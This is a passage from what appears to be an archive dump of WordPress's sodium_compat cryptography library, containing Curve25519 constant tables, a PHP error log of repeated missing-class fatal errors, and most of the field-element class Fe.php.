            array(-25182317, -4174131, 32336398, 5036987, -21236817, 11360617, 22616405, 9761698, -19827198, 630305),
            array(-13720693, 2639453, -24237460, -7406481, 9494427, -5774029, -6554551, -15960994, -2449256, -14291300),
        ),
        array(
            array(-3151181, -5046075, 9282714, 6866145, -31907062, -863023, -18940575, 15033784, 25105118, -7894876),
            array(-24326370, 15950226, -31801215, -14592823, -11662737, -5090925, 1573892, -2625887, 2198790, -15804619),
            array(-3099351, 10324967, -2241613, 7453183, -5446979, -2735503, -13812022, -16236442, -32461234, -12290683),
        )
    );

    /**
     * 37095705934669439343138083508754565189542113879843219016388785533085940283555
     *
     * @var array<int, int>
     */
    protected static $d = array(
        -10913610,
        13857413,
        -15372611,
        6949391,
        114729,
        -8787816,
        -6275908,
        -3247719,
        -18696448,
        -12055116
    );

    /**
     * 2 * d = 16295367250680780974490674513165176452449235426866156013048779062215315747161
     *
     * @var array<int, int>
     */
    protected static $d2 = array(
        -21827239,
        -5839606,
        -30745221,
        13898782,
        229458,
        15978800,
        -12551817,
        -6495438,
        29715968,
        9444199
    );

    /**
     * sqrt(-1)
     *
     * @var array<int, int>
     */
    protected static $sqrtm1 = array(
        -32595792,
        -7943725,
        9377950,
        3500415,
        12389472,
        -272473,
        -25146209,
        -2005654,
        326686,
        11406482
    );

    /**
     * 1 / sqrt(a - d)
     *
     * @var array<int, int>
     */
    protected static $invsqrtamd = array(
        6111485,
        4156064,
        -27798727,
        12243468,
        -25904040,
        120897,
        20826367,
        -7060776,
        6093568,
        -1986012
    );

    /**
     *  sqrt(ad - 1) with a = -1 (mod p)
     *
     * @var array<int, int>
     */
    protected static $sqrtadm1 = array(
        24849947,
        -153582,
        -23613485,
        6347715,
        -21072328,
        -667138,
        -25271143,
        -15367704,
        -870347,
        14525639
    );

    /**
     * 1 - d ^ 2
     *
     * @var array<int, int>
     */
    protected static $onemsqd = array(
        6275446,
        -16617371,
        -22938544,
        -3773710,
        11667077,
        7397348,
        -27922721,
        1766195,
        -24433858,
        672203
    );

    /**
     * (d - 1) ^ 2
     * @var array<int, int>
     */
    protected static $sqdmone = array(
        15551795,
        -11097455,
        -13425098,
        -10125071,
        -11896535,
        10178284,
        -26634327,
        4729244,
        -5282110,
        -10116402
    );


    /*
     *  2^252+27742317777372353535851937790883648493
        static const unsigned char L[] = {
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7,
            0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        };
    */
    const L = "\xed\xd3\xf5\x5c\x1a\x63\x12\x58\xd6\x9c\xf7\xa2\xde\xf9\xde\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10";
}
Core/Curve25519/error_log000064400000051306152222652550011056 0ustar00[24-Mar-2024 12:09:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[24-Mar-2024 12:09:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Sep-2024 22:14:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Sep-2024 22:15:00 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Sep-2024 22:16:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Sep-2024 22:16:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[19-Sep-2024 20:21:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[10-Nov-2024 10:35:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[13-Nov-2024 09:49:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[16-Nov-2024 04:26:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[17-Nov-2024 02:11:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Feb-2025 02:14:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[22-Feb-2025 06:19:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[29-Mar-2025 10:00:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[13-May-2025 10:01:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[13-May-2025 10:01:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[13-May-2025 10:01:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[13-May-2025 10:01:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-May-2025 12:00:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-May-2025 12:00:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-May-2025 12:00:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-May-2025 12:00:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-May-2025 14:30:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-May-2025 14:30:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-May-2025 14:30:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-May-2025 14:30:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[18-Jun-2025 16:54:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[19-Jul-2025 09:10:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[20-Aug-2025 23:27:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[21-Aug-2025 21:40:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[26-Aug-2025 06:27:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[26-Aug-2025 06:36:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[04-Sep-2025 00:44:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[04-Sep-2025 01:03:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[06-Sep-2025 01:56:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[06-Sep-2025 02:04:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[09-Sep-2025 17:46:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[09-Sep-2025 17:57:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-Sep-2025 15:09:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-Sep-2025 15:18:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[18-Sep-2025 17:16:56 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[19-Sep-2025 06:35:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[19-Sep-2025 06:48:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[22-Sep-2025 12:45:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[22-Sep-2025 12:59:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[25-Sep-2025 22:01:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[25-Sep-2025 22:13:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Oct-2025 10:42:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Oct-2025 10:50:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Nov-2025 08:31:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[02-Nov-2025 08:41:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[06-Dec-2025 18:49:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[06-Dec-2025 18:59:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[23-Dec-2025 11:47:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[23-Dec-2025 12:03:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[24-Dec-2025 15:02:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[24-Dec-2025 15:24:58 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[04-Jan-2026 10:11:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[04-Jan-2026 10:20:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[06-Jan-2026 01:23:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[06-Jan-2026 01:35:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[13-Jan-2026 06:30:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-Jan-2026 00:01:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[14-Jan-2026 00:18:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
[21-Feb-2026 02:57:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519/H.php on line 12
Core/Curve25519/Fe.php000064400000014320152222652550010177 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Fe', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var int
     */
    public $e0 = 0;

    /**
     * @var int
     */
    public $e1 = 0;

    /**
     * @var int
     */
    public $e2 = 0;

    /**
     * @var int
     */
    public $e3 = 0;

    /**
     * @var int
     */
    public $e4 = 0;

    /**
     * @var int
     */
    public $e5 = 0;

    /**
     * @var int
     */
    public $e6 = 0;

    /**
     * @var int
     */
    public $e7 = 0;

    /**
     * @var int
     */
    public $e8 = 0;

    /**
     * @var int
     */
    public $e9 = 0;

    /**
     * @param int $e0
     * @param int $e1
     * @param int $e2
     * @param int $e3
     * @param int $e4
     * @param int $e5
     * @param int $e6
     * @param int $e7
     * @param int $e8
     * @param int $e9
     */
    public function __construct(
        $e0 = 0,
        $e1 = 0,
        $e2 = 0,
        $e3 = 0,
        $e4 = 0,
        $e5 = 0,
        $e6 = 0,
        $e7 = 0,
        $e8 = 0,
        $e9 = 0
    ) {
        $this->e0 = $e0;
        $this->e1 = $e1;
        $this->e2 = $e2;
        $this->e3 = $e3;
        $this->e4 = $e4;
        $this->e5 = $e5;
        $this->e6 = $e6;
        $this->e7 = $e7;
        $this->e8 = $e8;
        $this->e9 = $e9;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array $array
     * @return self
     */
    public static function fromArray($array)
    {
        $obj = new ParagonIE_Sodium_Core_Curve25519_Fe();
        $obj->e0 = isset($array[0]) ? (int) $array[0] : 0;
        $obj->e1 = isset($array[1]) ? (int) $array[1] : 0;
        $obj->e2 = isset($array[2]) ? (int) $array[2] : 0;
        $obj->e3 = isset($array[3]) ? (int) $array[3] : 0;
        $obj->e4 = isset($array[4]) ? (int) $array[4] : 0;
        $obj->e5 = isset($array[5]) ? (int) $array[5] : 0;
        $obj->e6 = isset($array[6]) ? (int) $array[6] : 0;
        $obj->e7 = isset($array[7]) ? (int) $array[7] : 0;
        $obj->e8 = isset($array[8]) ? (int) $array[8] : 0;
        $obj->e9 = isset($array[9]) ? (int) $array[9] : 0;
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|null $offset
     * @param int $value
     * @return void
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        switch ($offset) {
            case 0:
                $this->e0 = $value;
                break;
            case 1:
                $this->e1 = $value;
                break;
            case 2:
                $this->e2 = $value;
                break;
            case 3:
                $this->e3 = $value;
                break;
            case 4:
                $this->e4 = $value;
                break;
            case 5:
                $this->e5 = $value;
                break;
            case 6:
                $this->e6 = $value;
                break;
            case 7:
                $this->e7 = $value;
                break;
            case 8:
                $this->e8 = $value;
                break;
            case 9:
                $this->e9 = $value;
                break;
            default:
                throw new OutOfBoundsException('Index out of bounds');
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return $offset >= 0 && $offset < 10;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        switch ($offset) {
            case 0:
                $this->e0 = 0;
                break;
            case 1:
                $this->e1 = 0;
                break;
            case 2:
                $this->e2 = 0;
                break;
            case 3:
                $this->e3 = 0;
                break;
            case 4:
                $this->e4 = 0;
                break;
            case 5:
                $this->e5 = 0;
                break;
            case 6:
                $this->e6 = 0;
                break;
            case 7:
                $this->e7 = 0;
                break;
            case 8:
                $this->e8 = 0;
                break;
            case 9:
                $this->e9 = 0;
                break;
            default:
                throw new OutOfBoundsException('Index out of bounds');
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return int
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        switch ($offset) {
            case 0:
                return (int) $this->e0;
            case 1:
                return (int) $this->e1;
            case 2:
                return (int) $this->e2;
            case 3:
                return (int) $this->e3;
            case 4:
                return (int) $this->e4;
            case 5:
                return (int) $this->e5;
            case 6:
                return (int) $this->e6;
            case 7:
                return (int) $this->e7;
            case 8:
                return (int) $this->e8;
            case 9:
                return (int) $this->e9;
            default:
                throw new OutOfBoundsException('Index out of bounds');
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        return array(
            implode(', ', array(
